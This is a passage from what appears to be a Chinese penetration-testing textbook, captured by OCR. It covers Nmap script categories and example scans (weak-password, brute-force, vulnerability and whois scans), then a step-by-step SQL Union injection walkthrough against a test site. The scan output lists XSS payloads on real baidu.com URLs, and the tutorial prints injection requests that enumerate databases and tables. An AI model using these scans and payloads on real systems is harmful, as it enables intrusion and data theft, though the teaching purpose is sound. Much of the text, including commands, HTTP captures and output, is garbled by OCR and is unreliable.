[J ojp·headers.nse 2016/12/19 23,02 NSE 文哗 2 KB 

。 句p methods.nse 2016/12/19 U02 NSE 立悍 3 ’<B 
。 句p reque乱nse 2016/12/19 23,()2 NSE 工·~ 3 KB 

u •llsee’咱町e onfo.nse 2016/12/19 23,()2 NSE Z悻 7 KB 

口 emqp·info.n 2016/12/19 23,02 NSE 文件 2 KB 

口 osn·qu町 2016/12/19 no2 NSE 文件 15 KB 

已 outh·owne阳... 2016/12/19 23,02 NSE 支咕 l KB 

ι outh spoof.nse 2016/12/19 2lo02 NSE 立信 l KB 

。 backorifice-brute nse 2016/12/19 2lo02 NSE 又惜 10 KB 

0 backorifice info.nse 2016月2/19 23'02 NSE 文件 lOKB 

LJ. bacnet·info.nse 2016/12/19 2lo02 NSE 文件 41 <B 

图3-61 Nmap的脚本
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Nmap的脚本主要分为以下几类。

• Auth ： 负责处理鉴权证书（绕过鉴权）的脚本。

• Broadcast ： 在局域网内探查更多服务的开启情况，如DHCP/DNS/SQLServer

等。

• Brute ： 针对常见的应用提供暴力破解方式，如HTTP/SMTP等。

• Default ： 使用 －sC或－A选项扫描时默认的脚本，提供基本的脚本扫描能力。

• Discovery ： 对网络进行更多信息的搜集，如SMB枚举、 SNMP查询等。

• Dos ： 用于进行拒绝服务攻击。

• Explo it：利用己知的漏洞入侵系统。

• External ： 利用第三方的数据库或资源。 例如，进行Whois解析。

• Fuzzer： 模糊测试脚本，发送异常的包到目标机，探测出潜在漏洞。

• Intrusive ： 入侵性的脚本，此类脚本可能引发对方的IDS/IPS的记录或屏蔽。

• Mal ware ： 探测目标机是否感染了病毒、 开启后门等信息。

• Safe：此类与Intrusive相反，属于安全性脚本。

• Version ： 负责增强服务与版本扫描功能的脚本。

• Vuln ： 负责检查目标机是否有常见漏洞，如MS08-067 o

3.3.3.2 常用~tP本

用户还可根据需要设置…script=类别进行扫描，常用参数如下所示。

• -sC/--script=defau lt ： 使用默认的脚本进行扫描。

• --script=<Lua scripts＞：使用某个脚本进行扫描。

• --script-args=key 1 =value l ,key2=value2…·： 该参数用于传递脚本里的参数，

keyl 是参数名，该参数对应value ！这个值。如有更多的参数，使用逗号连接。

• -script-args- fi le=filename ： 使用文件为脚本提供参数。

• --script-trace ： 如果设置该参数，则显示脚本执行过程中发送与接收的数据。. 一script-updatedb ： 在Nmap的scripts 目录里有一个script.db文件，该文件保存

了当前Nmap可用的脚本，类似于一个小型数据库，如果我们开启Nmap并

调用了此参数，贝UNmap会自行扫描scripts 目录中的扩展脚本，进行数据库
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更新。

• --script-help ： 调用该参数后， Nmap会输出该脚本对应的脚本使用参数，以

及详细的介绍信息。

3.3 .3.3 实例

1 . 鉴权扫描

使用一script=auth可以对目标主机或目标主机所在的网段进行应用弱口令检测，

如图3-62所示。

nmap --sc「ipt=auth 192.168.0.1θ5 

回圃’明帽帽帽回国晴圆”胃1119町’凹’理回

Sta1•ting Hnctp 7.40 ( https://nfTlap.org ) at 2017-06-11 21:52 ?D1 
Hn<1p ,; c,111 rcpo1•t for 192 . 168.0 . 105 
lloo.t j,; up <t . 6:; latency). 
Not !; houn: 997 c lo:;ed po1•ts 
!'Orn ST白TE SERUI CE 
?.?./tcp open ssh 
11]/tC}l open https 
: http ·clefi\ult-i\ccounts: 
9~l?./t c p open is s - 1•ea lsecure 
”。C fldd1•cso.: llC ：白 9 :82 :57:21 :6A <Intel Co1•po1•ate) 

Nnap done: 1 IP address (1 host up) scanned in 79 .20 seconds 

图3”62 鉴权扫描

2. 暴力破解攻击

Nmap具有暴力破解的功能，可对数据库、 SMB 、 SNMP等进行简单密码的暴力

猜解，如图3-63所示。

nmap --sc「ipt=b「ute 192 . 168 . θ . 105 
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F: ~n,,p)nnap --sc»主pt~brute 192.168.0.105 

St«l't mg Nnap 7.4白（ https ://nnap. 。i•g ) at 2017-06-11 22 ： 自1 ?DiU±•~ ／ ？e± ’I 
Nn«p :;c,,n l'epol't fol' 19?..168.0.1 日5
Host is up <0 . 0035s latency). 
Not s houn: 997 closed p01•ts 
PORT ST自TE SERUICE 
122/tcp open s5'1 
4'13/tcp open https 
：卢c it1·ix~ b!'ute-xnl: F自 I LED: No donain specified (use ntdonain a>'gunen乞〉
: http hl'utc: 
；一 l'ilth ”／＂ does. not l'equire authcnt •cat ion 
q臼2/tcp open iss-1·eahecul'e 
lυn«uthrl-bl'ute: 

i 白ccounts: Hoυalid accounts found 
:_ St,,tistics: Pel'fol'ned 23日1 guesses in 602 seconc\s. aυel'age tps: 3. 7 
”自C 白ddl'ess: SC ：自9:82:57:21:6自（ I ntc 1 Col'pol'atc) 

"'''I' done: 1 IP arldl'ess (1 host up) scanned in 609 .'15 seconds 

图3 -63 暴力破解攻击

3 . 扫描常见的漏洞

Nmap具备漏洞扫描的功能，可以检查 目标主机或网段是否存在常见的漏洞，如

图3 -64所示。

nmap --sc 「ipt=vuln 192.168.0.105 

F ： ~nap)nna11 --sc1•ipt ＝νHln 192.168 . 0.1 日5

St<o•ting Hnap 7.10 < https://nna1>.ol'g > at 2017-06-11 22:14 ?Di• i 士告：？
Pl'c :;can scl'iptνCS lilts: 
: hl'o.•dcast-aυaid-dos: 

Discoυe1·ed hosts: 
224.0.0 . 251 

: 自f tel' HULL UDP aυahi packet DoS (CUE-2自11 白白1自由2 >. 
: _ Hosts al'e al 1 HP (not vHlncl'ahle) . 
Hnap scan l'epol't fol' 192 . 168.0.1日5

Host is HP ＜目 . 24s latency) . 
Hot sho11n: 997 closed pol'ts 
PORT ST自TE SERUICE 
:2?./tcp open ssh 
443/tcp open https 
：一http aspnet-debHg: ERROR : Scl'ipt exccLtt i。n failed (Ltse -d to debug) 
l ~ http-csl'f: CoHlrln ’ t find any CSRFυu lncl'ahi lit ies. 
:_http-donbased-xss: Couldn ’ t find any B。” based XSS. 
: http-sto1•ed-xss: Couldn ’ t find an 日 s tored XSSυulnel'ahil王t ies . 
: _ss lυ2 d1•o<m: 
9届2/tcp open iss-l'cabccm•e 
”自C 白ddl'ess: BC ：自9 : 82 : 57:21:6自（ Intel Co>'pOl'ate) 

i..,..,,_,,,,,,_… .. 胃Til'iHIN幅幅··配：•－·1·－－…·四·帽~•••••w•,..._.-'ll!•rn-...蝠…...‘四

图3 -64 扫描常见的漏洞
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4. 应用服务扫描

Nmap具备很多常见应用服务的扫描脚本，例如VNC服务、 MySQL服务、 Telnet

服务、 Rsync服务等，此处以VNC服务为例 ， 如图3-65所示。

nmap --script＝「ealvnc-auth-bypass 192.168.0.1θ5 

f ： ~n .. p)nn,,p ocl'lpt rc,,lυnc '"Ith hYl"'"" t92.168.0.10S 

Start in 刊 Nnap 7-40 ( httpo ://nnap.ory > ,,t 2日17一06 11 22:19 ?DI': 
,Nn<\p :;c,m report for 192.168.0.1日5

'.llo~t i:: np （白，的33· I“ tcncy). 
Not ::hoυn: 997 cloc:c<l imrto 
PORT STnTE SERU I CE 
22/tcp open o::h 

413/t ‘ p open httpo 
9~12/tcp open io:: rc«l::ecnrc ”nc nclclrc ：：：：：自c:n9:82:57:21:6自（ Intel Cor1m1·«tc) 

Nnilp clone: 1 IP '"lth•co:: (1 ho::t up) ocannccl rn 8.46 ::cconclo 

图3-65 应用服务扫描

5. 探测局域网内更多服务开启的情况

输入以下命令即可探测局域网内更多服务开启的情况，如图3-66和图3 -67所示。

nmap -n -p 445 --sc「ipt=b「oadcast 192.168.0.105 

，.，、>ln 叩＂＂＇＇＇＂ " " 1侣，＂＇＇＂＇＇＇ lu•u,<rlcd" 192,1(，”·” . ！的b

…－－一 ~1§•.. n••一 ． 一＿..＿..... ~ .... －~， .....…圃’r 一

...... '"""., .. ,.;pt""'"'"'' 
: lno,uk 1:t. ，，υ，，，，， """ 
: u;, """"'""' hn t ’: 
: )'J1. ”. ~1 ?.S 1 
: n 『，，，· Nill.I. UDP .tυ.... ; pιu kcl DoS <CIJF 2臼 II I 例”；D

: “"' l ,.,., ,d I "I' (ont vu '""""hi.,) 
: ＇＂＂·＂＇且 «cl olhcp rl z呻 f OUl.'I'' 

Ro I"'" ' I of I: 
II' Offered: 192.168.'1.1”1 
＂＇＂ υ巴＇ ldcntifi,.,: 192 168.0 I 
Oon.oi<> N«nc Sc>'Vc>': 192.168 I.I, 192.168 .•. 1 
’,"'""' ” .vk: 25•, "''' .2SS.“ 
民＂＂t们，、 ： 192.lι8 的 .I

Onn.nn N.onc: DIJCI' !JOST 

国翩翩翩庐幽幽幽国国皿
国rilD －· …圈’.._ •• 
．，，霄”’圃’－－跚跚跚－－跚跚
22'«1' nd>"kc cch 

"""'‘=“ 192 !6R 臼 1”＂ ft2 ” 1Sc6 :6''79 ·n:Kc,<9 :82ff :fc57:21 6“ 
: ""'""""'-' li·tcoc>': 

ctl…v 
oHI' lle<t”cot 

翩翩圈躏蜘翻翩翩
”''" SSOJI 

h田帽’瞩目.. 帽帽咽’阴阳”’帽”””lll!!!l!l!I圃

图3-66 探测局域网内更多服务开启的情况 (1 )
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~罩在回11'1111:藏Z日E葡

ff02: :fh 
ff02:: 1: ff57:216a 
ff02: :fh 

: targets ipυ6-m1lt icast-echo: 

剧精濡画画画画画
<NDP Solicited-node) 
<11lDNSu6) 

: IP: fe80::76ac:Sfff:fedf:ced5 ”自C: 74:ac:Sf:df:ce:d5 
IP : fe80: :8ea9:82ff :fe57:216a 归自C: 8c:a9:82:57 : 21:6a 

I F白CE: eth0 
I F白CE: eth0 

：一 U " e 一…s c1•ipt-a1·gs 二ne11ta1•gets to add the results as ta1•gets 
: ta1•gct s 一 ipυ6-l'lult icast-inυalid-dst: 
: IP: fe80::8ca9:82ff:fe57 : 216a ”自C: 8c:a9:82:57:21:6a !FACE: eth0 
； 一 use script-a1·gs~neutargets to add the 1•esults as ta1•gets 
: targcts-ipυ6-!1lult icast-11lld: 
: IP: fe80::76ac:Sfff:fedf:ced5 ”自C: 74:ac:Sf:df:ce:d5 I F自CE: eth0 

IP: fe80: :8ea9:82ff :fe57:216a 阴自C : 8c:a9:82:57 : 21:6a IF自CE: cth白

IP: fe80: :h42e :22ac:2a10:hd2c ”自C: cc:af:78:92:h0 : ch I F自CE: cth0 

_ Use --script-args =ne11ta1•9ets to add the results as ta1•gets 
: ta1·gets-ipυ6-!1lult icast s laac: 
: IP: fe80: :76ac :Sfff :fedf :cedS 归自C: 74:ac:Sf:df : ce:d5 I F自.CE: eth0 
：一 Use --sc1•ipt-a1•gs=ne11targets to add the Pesults as taPgets 
Failed to 1·esolυe " - n". 
Failed to 1•esolυe " p". 
Failed to resolυe "445". 
Nnap scan 1•epo1•t fo1• 192 .168 . 0.105 
Ho :; t is up (0 ” 026s latency). 
Not s houn: 997 closed po1•ts 
PORT STATE SERυI CE 
22/tcp open ss h 
443/tcp open https 
902/tcp open iss-realsecm•e 
”自C 自dd1·ess: SC ：自9:82:57:21:6自＜ Intel Co1•po1•ate) 

Nl'lap done: 1 IP add1•ess (1 host up) scanned in 57. 97 seconds 

图3-67 探测局域网内更多服务开启的情况 （ 2 )

6. Who is 解析

利用第三方的数据库或资源查询目标地址的信息，例如进行Whois解析，如图3 -68

所示。

nmap - sc 「ipt exte「nal baidu.com 
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F ： ~n<111>nnap ~cript extern ，~l bairlu . coA 

Startin!1 Nnap ? . 40 ( http,; : //nAap . 01•g ) at 201 ? -06-11 22 : 22 ?Dlu±~ ， ？毛士？？
Pre :;c,t11 ,;c1•ipt re:;ult:; : 
: tar9et:; asn : 

: t •• B‘ !Jet:; """·""" i:; a nanrlato1•y pa1•anete1• 
Nn,tp :;c,u1 report for haiclu . coA (123 . 125.114 . 144) 
llo:;t i:; up <0 . 1'/:; latency) . 
Othc1• <tdrlre:;:;e:; fo1• baic\u.coA (not scannerl) : 180.149.132 . 4? 220 . 181 . 5? . 21? 111.1 
:l.HH.2白白

Not ::houn: 998 filtered port:; 
!'ORT ST白TE SERUICE 
80/tcp open http 
: http x:;:;erl: 

UNFIXED XSSυuln. 

http : //yo u × i - A-lMirlu. cori/sof t list . php?cate irl =?S&aAp; phone ic\=&amp; url ＝χ22 

χ3Eχ：lCifr"neχ20s re 0ht t p : //rn1t1 . xssec\ . (br)con%3 E 

http : //utility . ha irlu. con/traf /c 1 ick. php? ic\ 0215&anp; m•l=http : //log0 . 1101•rlp 
l'CG!; .COT、

http : //pas:;port _ haic\u . con/?reg晶anp;tpl=sp&aAp;1•eturn Aethorl ＝χ22χ3Eχ3Cifi­

,meχ2臼s l'Cχ22http://x:;,;ec\.con%22χ3E 

http : //;: l1<1n9rien . h,1 ic\u. con/:;earc h. js p?f ＝问：；＆aAp; tn =ha icluAp3&aAp;c t •0 134217'/ 
28也anp; l f •&anp; r11 &anp; 110 i•c\χ3C:;criptχ3Ealei•t%28(hr ）χ2?XSSφhy+DoAinoχ2？χ29χ3Cχ2F 

""I' i ptχ ：t E 

http: //uuu 2 . ha ic\u . coA/ag1rnt/,1gent_u,;er . php 

http : //111111. ha iclu. con／：；？”d 二＆quot;&gt ；晶 lt ; :;c1• ipt&gt; a le i•t (c\octmcn t . cookie) 
8.lt ;/::cript8.9t; 

http : //uuu1 . haic\u . con/:;?”rl=&c1uot ;&gt ;&lt ;sc1•ipt&gt ;alert(c\octtAent . cookie 
)8.1 t ;/::cript&gt; 

http : //post_ ha ic\u . con/f ?ku 0晶quot ；晶gt; IHt; :;cript&gt; alert <rlocttAent. cookie 
〉也 l t ;/::cript8.9t; 

图3 -68 Who i s解析

更多扫描脚本的使用方法可参见https://nmap.org/nsedoc/categories 。
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4.1 SOL 注入的基础

4.1.1 介绍 SOL 注入

SQL注入就是指Web应用程序对用户输入数据的合法性没有判断，前端传入后端

的参数是攻击者可控的，并且参数带入数据库查询，攻击者可以通过构造不同的SQL

语句来实现对数据库的任意操作。

一般情况下，开发人员可以使用动态SQL语句创建通用、灵活的应用。动态SQL

语句是在执行过程中构造的，它根据不同的条件产生不同的SQL语句。当开发人员在

运行过程中需要根据不同的查询标准决定提取什么宇段付日select语句〉，或者根据不

同的条件选择不同的查询表时，动态地构造SQLi吾句会非常有用。

下面以P田语句为例。

$query =”SELECT * FROM users WHERE id= $_GET['id ’]” 

由于这里的参数ID可控，且带入数据库查询，所以非法用户可以任意拼接SQL

语句进行攻击。

当然， SQL注入按照不同的分类方法可以分为很多种，如报错注入、盲注、 Union

注入等。

4.1.2 SOL 注入的原理

SQL注入漏洞的产生需要满足以下两个条件。
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• 参数用户可控：前端传给后端的参数内容是用户可以控制的。

• 参数带入数据库查询 ： 传入的参数拼接到SQU吾句，且带入数据库查询。

当传入的ID参数为l’时，数据库执行的代码如下所示。

select ＊ 卡「om use「s whe「e id= 1' 

这不符合数据库语法规范，所以会报错。当传入的ID参数为and 1=1时，执行的

SQL语句如下所示。

select ＊ 于「om users where id = 1 and 1=1 

因为1=1为真，且where语句中id=l也为真，所以页面会返回与id=l相同的结果。

当传入的ID参数为and 1=2时，由于1=2不成立，所以返回假，页面就会返回与id=l

不同的结果。

由此可以初步判断ID参数存在SQL注入漏洞，攻击者可以进一步拼接SQL语句进

行攻击，致使数据库信息泄露，甚至进一步获取服务器权限等。

在实际环境中，凡是满足上述两个条件的参数皆可能存在SQL注入漏洞，因此开

发者需秉持“外部参数皆不可信的原则”进行开发。

4.1.3 与 MySOL 注入相关的知识点

在详细介绍SQL注入漏洞前，先说下MySQL中与SQL注入漏洞相关的知识点。

在MySQL 5.0版本之后， MySQL默认在数据库中存放一个“information_schema ” 

的数据库，在该库中，读者需要记住三个表名，分别是SCHEMATA、 TABLES和

CO Lill心币。

SCHEMATA表存储该用户创建的所有数据库的库名，如图4-1所示。我们需要记

住该表中记录数据库库名的字段名为SCHEMA NAME。
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TABLES表存储该用户创建的所有数据库的库名和表名，如图4-2所示。我们需

要记住该表中记录数据库库名和表名的宇段名分别为TABLE SCHEMA和TABLE
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COLUMNS表存储该用户创建的所有数据库的库名、表名和宇段名，如图4-3所

我们需要记住该表中记录数据库库名、表名和宇段名的字段名为TABLE

SCHEMA、 TABLE NAME和COLUMN NAME。

图4- 2

刁之 。
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图4-3 COLUMNS表

常用的MySQL查询语句和函数如下所示。

1. MySQL 查询语句

在不知道任何条件时－，语句如下所示。

SELECT 要查询的字段名 FROM 库名 ．表名

在知道一条己知条件时，语句如下所示。

SELECT 要查询的字段名 FROM 库名．表名 WHERE 己知条件的字段名＝！己知条件的值’

在知道两条己知条件时，语句如下所示。

SELECT 要查询的字段名 FROM 库名 ．表名 WHERE 己知条件 1 的字段名＝’己知条件 1 的值’ AND 己知条

件 2 的字段名＝’己知条件 2 的值’

2. limit 的用法

limit的使用格式为limit m n，其中m是指记录开始的位置，从0开始，表示第一条
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记录； n是指取n条记录。 例如limit 0 I表示从第一条记录开始，取一条记录，不使用
limit和使用limit查询的结果如图4-4和图4-5所示，可以很明显地看出二者的区别。

一|…-…m 

显示全部 l 棚： .1.L_B 过滤行 在表中搜索

＋逃项

←丁→ 、帽， Id username password 

编辑字复制〉〈删除 Dumb Dumb 

／编辑字复制〉〈删除 2 Angelina I-kill-you 

，编辑学复制〉〈删除 3 Dummy p@ssword 

J编籍善复制〉〈删除 4 secure crappy 

编$量 圣二复制 〉〈删除 5 stupid “upidity 

编籍善复制×删除 6 supeπnan genious 

J，编$1 李二复制 〉〈删除 7 batman mob lie 

／编精事t 复制〉〈删除 8 admin ad min 

图4-4 不使用 limit时的查询结果

SELECT • PROM user limit 0,1 

＋选项

• T•, id username password 

，编辑萨复制×删除 1 Dumb Dumb 

t一 全选 活中项： ／编$A F 复制 〉〈删除 自导出

图4-5 使用 limit时的查询结果

3 . 需要记住的几个函数

• database（） ： 当前网站使用的数据库。

• version（） ： 当前MySQL的版本。

• user（） ： 当前MySQL的用户 。
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4 . 注释待

在MySQL中， 常见注释符的表达方式：＃或··空格或／＊＊／。

5 . 内联注释

内联注释的形式： ／＊ ！ code 灯。 内联注释可以用于整个SQL语句中，用来执行我

们的SQL语旬，下面举一个例子

index.php?id=-15 / * !UNION*/ / * !SELECT*/ 1,2,3 。

4.1.4 Union 注入攻击

Union注入攻击的测试地址： http://www.ccctf.cn/union .php?id= 1 。

访问该网址时， 页面返回的结果如图4-6所示。

GET / uni。n php?id•l BTTP / l. l 
园。•t. www.ccct f. cn 
DHr-Aq•nt ＂。2三lla/5 0 ( Macin龟。sh1 In龟el Mac 。s x 10 121 r v ,53 0) 
Gack。12。 100 1 01 Firefox/53. 。
Aces pt. toxt / ht.l, applicati。n/xh，也•l令穗，且， applica也ion/xol,q•O. ，，’J’； q•O 8 
Accopt-Lan quaq•' :h- C:ll,:h;q•O.B,on-OS1q•O 5,on;q•0.3 
Accept-Enc。dinq< g ：孟p, dofla也·

c。nnection e l oae 
Opqrado-In Hcuro-Requeot• · l 

图4-6 访问id=l时页面的结果

＿，..『－L:.:二二二L牛二二二
• I 园，rTP/l l 2。。。x

Dato• Fri, 01 Doc 2017 l ‘:37 . OS G饵’
Server. Apachs 
X-P。，ored-By' P园，／5.0.30
c。 ntont-Lonqth' 15 
c。”neeti。n ' cl。．．
c。叫nten℃－斗rype ＇也ext /html; charu巳•CTF-8

Du mb : D11Mb<br> 

在URL后添加一个单引号，再次访问， 如图4-7所示 ， 页面返回的结果与id=l 的

结果不同 。
GE’ ／uni。n php?id•l ＇ 钮’TP/ 1.1

”。at : WWW CCC也f.cn
Ooor-Aqent a 细。：illa/ 5. 0 ( Hacint。Sh/ In雹el 鸭ac 06 X 10.121 r v •53 0 ) 
Geck。/20100101 F豆，＇＂筐。x/53.0
Accept< tex毡，h也”且 ， apphcati。n /xht”立Txml,applico且ti。n / xol1q•O 9,' / •,q•O.B 
Accept-Lan9ua90 • :h- C:”,:h ;q•O . 8 , en-001q•。 .S,en1q•O 3 
Accept-Enc。din9 • g : >o , detlate 
c。nnecti。n • cl。．．
。pqrads-Inucure-Raqu.. to • l 

图4-7 访问id=l’时页面的结果

• I BTTP/ l.l 200 。x
Da，巳e1 Fri，。豆。ec 2017 14'33'4' G”’ 
Server' Apache 
2《－ P。wend-By< PBP / 5 •• .30 
Cont•n毡，Lon9th' 7 
c。nn.c龟i。” z cl。．．
c。nt•nt －’ype' text / html; charut•OTF-8 

. <br> 

访问id=l and 1 =1 ，由于and 1=1为真，所以页面应返回与id=l相同的结果， 如图

4-8所示。访问id=l and 1 =2，由于and 1=2为假， 所以页面应返回与id=l不同的结果，

如图4-9所示。
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」
GET /uni。n phphd•l+ond+l• l HTTP / l 1 
日。st vww ccctf en 
Doer A9ent w。： illa/5.0 (Macint。sh; I n tel Moc 。s x 10 12; rv Sl OJ 
Gecko / 2010010 1 】f'.iref 。x / 53 .0 
Accopt tn吃／htal, applicoti。n /xhtml＋＞«吐 ， opphcoti。n ／羽田l;q•0.9,• / • ; q•0.8

Accept-Longuogo :h- Cll, :h, q • O 8, en US, q，。， S,en;q•O 3 
Accept-Enc。d ing g:ip, deflate 
c。nnecti。n cl。..

Op9rode-Insecure-Requeets. 1 

图4-8 访问id =1 and 1=1时页面的结果

GET / uni。n phphd=l+ond唱’1 •2 BTTP I I I 
目。•t WWW CCC巳f cn 
Our-Agon也 e 艳。：illo/S 0 ( Macintosh, Intel E唱ac 。s r. 10 12; rv 53 0) 
Geck。/201001。 l Firef。x/53 。

Accept ; text / htn l, applicotion /xhtnl+xal,opphcot豆。n ／泪，l , q•O 9,• / •1q•O 8 
Accopt-Lon;uogo :h” C1>,:h1q•O 8,en-US,q•O 5,en;q•O 3 
Accept-Enc。d>ng; g ：且p, doflot e 
Connection cl。宵＠

Upgrade-Inoecure-Requooto I 

图4-9 访问id=l and 1=2日才页面的结果

, .. I BTTP / l l 200 。x
国 Date: Fri，。L Dec 2017 14 37 05 G鸭T

Server; Apache 
X-P。wored-By; PBP / 5 .6. 30 
c。ntant-Longth • 15 
c。nnect二i。n cl。．．

c。ntont-Type. 龟oxt /htnl, choroet•OTF-8 

Du mb : Du mb<br> 

日，，P7王I丁00 01' 
，.也e; Fri, 01 Ooc 2017 14137·18 G”’ 
Server Apache 
x p。wored-By P臼P IS 6 30 
Conto n t-Lo n;th 7 
c。nnec也豆。n : close 
c。n tent-Typo text/ h tml; chor•e t • UTF- 8 

<br> 

可以得出该网站可能存在SQL注入漏洞的结论。接着，使用order by 1-99语句查

询该数据表的宇段数量， 可以理解为order by = 1-99 ， 如访问id=1 order by 3，页面返

回与id=l相同的结果，如图4- 10所示。访问 id=1 order by 4 ， 页面返回与id=l不同的结

果，则宇段数为3，如图4-11所示。
J－＇山叮 I 锄’“川， I ＇…....... I'''"" 

\ahT / UOl.。n pnp F且dcl ；，。rder+by+3 囚TTP / l l 
g。，也. www ccctf en 
。oer-Agent n。主立llo / S 0 ｛ 归acint。sh, In巳el lo!o.c 。S X 10.12; rv.53 0) 
Geck。／ 20100101 Y孟re r。x/53.o
Accept• text /ht田l,opplicAti。n /xht nil-t-x，且， opphcot>。n ／~l;q•O o.- l •;q•O B 
Accop也 Language oh c”,:h,q • O 8 , en-US;q•O S,on;q•O 3 
Accept-Enc。dinq 9 ＂且p, deflate 
c。nnec龟豆。n: close 
Opgrado-In,.cure-Requ8'to 1 

图4-10 访问id=l orde「 by 3时页面的结果

GET /un豆。n .php?id•l＋。rdor+by+4 BTTP I L l 
a。，ot ~ ccctt cn 
。aer-A9ont; Mo:illo/ 5 . 0 ( Mocint。•h1 Intel >.oc os r. 10.12, rv1S3 . 0J 
Geck。／ 20100101 Firet。，； ／ 53. 。

Accept; text / html, opplicotion / xht n l+xnl, applicoti。n/>m止， q吨，，，• ／ ＇， q•0.8

Accopt-Lon9uo90 :h-C1’,:h, q • O 8, on-OS/ q•O 5, on; q•O 3 
Accept-Enc。din9 9:1p , deflate 
Connecti。n: close 
apgrode Insecure Requeots 1 

图4-11 访问id=l 0「derby 4时页面的结果

J叫“－·L.'.工之二::....L二二二
HTTP / l l 200 01". 
Dote; Fri, 01 Ooc 2017 14 155.59 GOT 
Sorvor; Apache 
X-P。‘•erod-By1 P”’/ 5 6 30 
c。ntont-Lon9th · 15 
c。nnecti。n : clot1e 
c。ntent-Typ•' to•t / html, char .. t-0唱rF - 8

Dumb Du 111b<br> 

Date Fr i，。l Dec 2017 14 5 7 29 GMT 
Server• Apache 
X-P。咽’erod-By P日P / 5 6 . 30 
Contont-Len 9th. 7 
c。nn•cti。n ; cl。．．

Content-Type; text / html; choroet•OTF-8 

: <br> 

在数据库中查询参数ID对应的内容，然后将数据库的内容输出到页面，由于是

将数据输出到页面上的， 所以可以使用Union注入 ， 且通过order by查询结果 ， 得到宇

段数为3，所以Union注入的语句如下所示。

union select 1,2,3 

如图4-12所示， 可以看到页面成功执行，但没有返回union select的结果 ， 这是由

于代码只返回第一条结果，所以union select获取的结果没有输出到页面。
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z主
GET / uni。n.php’idoal+union叫’.. lece+l, 2 .3 ”TTP/l l 
Ho•t: www ccctt .en 

. 画 园，T P /l . l 200 。x

。..<-Aqe n e M。2豆11• /S 0 （”<C且n t。•hi Intel ”<C 。s X 10 12, <V•53 0) 
C•cko / 20100101 Fl.ref。x /53.0

Accept ' te，此／ht.l, •pplic<tion/xht>ol＜’m豆， •ppl止CAtion/=l;q•O '" '';q•O • 
Accept-Lonqunge · ＇＂』CN, ,h ,q-0 8,en-OG;q•0.5,en ; q国0 3 
Accept-Enc。dinq. •''•• defl•te 
c。nn ecti.。n c l ose 
...τ•d•-Inoecure-Requeot• • 1 

图4-12 访问id=l unio 「， select 1,2,3时页面的结果

•• ,., Fri, 01 Dec 2017 "''° '" GMT 
Serve" Ap•che 
X-P。w•r•d-By. P回P/5 6 30 
c。且也ent-Lenqth' 15 
c。nnee ti。n ' cl。..

c。ntent-Type. text/ ht.l; cha<oet•OTF-8 

Dumb Du111b<br> 

可以通过设置参数D值，让服务端返回union select的结果，例如，把D的值设置为

一1，这样数据库中没有id二l的数据，所以会返回union select的结果，如图4-13所示。

CET /un i。n .php?id • -l+u n i。n”’Hlect+l,2 , 3 创TTP/l. l 
Host1 w- ccctt. .en 
。..,_Aqen巳 2 ”。写ill•/5. 0 ( ..。且n t。oh; Intel Moc 。S 1. 10 12; rv •53 0) 
Geck。12。 1 00101 F ir<lf。x/53 0 
Accept 1 text/ht.l,•pplic•ti。n/xht阳l+ml,•pplie<鬼tion/>ml, q•O ,”/’;q•O 8 
Accept-L•nqu•••. :h-Cll, :h I q•O 8' en-OS I q•。 s,en;q•O 3 
Accept-Enc。d>ng q:ip, detlnte 
c。nnecti。n. cl。．．

o pq rad• - Insecure - Req u • •’巳a: l 

Oe.t•• Fri, 01 oec 2017 15 。2127 GMT 
Server Apacl、．

X-P。wered -By• PHP/5 6 30 
c。ntent-Lenqth 9 
c。nnecti。n · close 
c。ntent-Typo text / htol, chor .. t•DTF 8 

2 · J <br> 

图4-13 访问id=-1 union select 1,2,3时页面的结果

返回的结果为2:3 ， 意味着在union select 1 ,2,3 中， 2和3的位置可以输入MySQL

语句。我们尝试在2的位置查询当前数据库名 （｛吏用database（）函数〉，访问id=l union 

select 1,database(),3 ，页面成功返回了数据库信息，如图4-14所示。

GEiT / uni。n.php?id麓－ l+uni。n+seloct+l,d<t•b•.. f ).3 囚TTP/l 1 
目。at1 WTAJ.ccctf en 
o .. r-Agent. Mo: illo/5 0 ( Mocin巳。oh; In to义”oc OS X 10 1?, rv 53.0) 
Ceck。／ 20100101 Firef。y,/ 53 0 
Accept t 也ex‘；／ htol,Applicoti。n /xhtol+xol , oppl>coti。n/xol;q•O 9,• / .,q•O 8 
Accept-LAnquo髦，. ， :h-CU,:h;q•O 8,en-OS;q•O 5,en ; q•O 3 
Accept-Enc。d>n9• q:ip, d•tl•te 
c。nnec龟i。n : close 
Opqrode-In,.cure-RequHto 1 l 

图4-14 利用Union注入获取database()

”’TP / l l 200 。x
Dote Fn, 01 Dec 2017 15'10 39 C问T

Server- Ap•。..

Y.-P。•0<•d-By1 p目P / 5 6.30 
Content-Lenqth' 11 
c。nnecti。” clo••
c。ntent Type text/htol. charHt•CTF-8 

s ql J <br> 

得知了数据库库名后，接下来输入以下命令查询表名。

select table_name f「om in于0「mation_schema. tables whe「e table_schema=' sql' limit 0, 1; 

尝试在2的位置粘贴语句，这里需要加上括号，结果如图4- 15所示，页面返回了

数据库的第一个表名 。 如果需要看第二个表名，则修改limit中的第一位数字，例如使

用limit 1 , 1就可以获取数据库的第二个表名，如图4- 16所示。

... 
/uni。n php?id•-l+uoi。。司’..1ect+l, ( Hlect+toble_n~••fr。rit+l.nf。roe.也i。n_•ch••
a table••鸣，here+table_ocha”‘. ' •ql +li•it舍。， 1),3 HTTP/1.1 
目。＇＂ w嘀嘀M ccctf en 
。oer-Aqent 骋。：ilh/5 D (Moc in t。oh , Intel 时oc 06 X 10.12; rv.53 。｝
Geek。／ 20100101 吉1ref。x / 53 。
Accept. 巳ext / h毡ol,applic•ti。n/xht.t1l ＋萃’止，‘ppl>e<比t立。n ／~l,q•O 9 , • /• ;q•O 8 
Accept-LAnqu•q• :h-Cll,:h,q•0.8,en-06,q•D 5,en;q•O 3 
Accept-Enc。dinq 9'ip, dofh也·
c。nn•cti。n cl。．．
Opqrade-In,.cure-Roqu .. e. l 

图4-15 利用Union注入获取第一个表名

• I 回TTP/ l .l 200 。.
Date : Fr 忌， 01 Oec 2017 15.16:18 G"T 
Server· Apache 
X-P。vend-By PBP/5 S 30 
c。ntent-Lenqth • 14 
c。nnecti。n ' cl。．．

c。ntent-Type ' toxt/ht•1' chor,. t •OTF- 8 

•- .i.l • l <br> 
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G窑’ ’‘ I RTTP/l .1 200 a. 
/ uni。n .php?id•-l+uni。n+••l•ct叫’且，（ Hleet+toblo n~o+fr。”＋in tor”atJ.。＂－’ch •lll
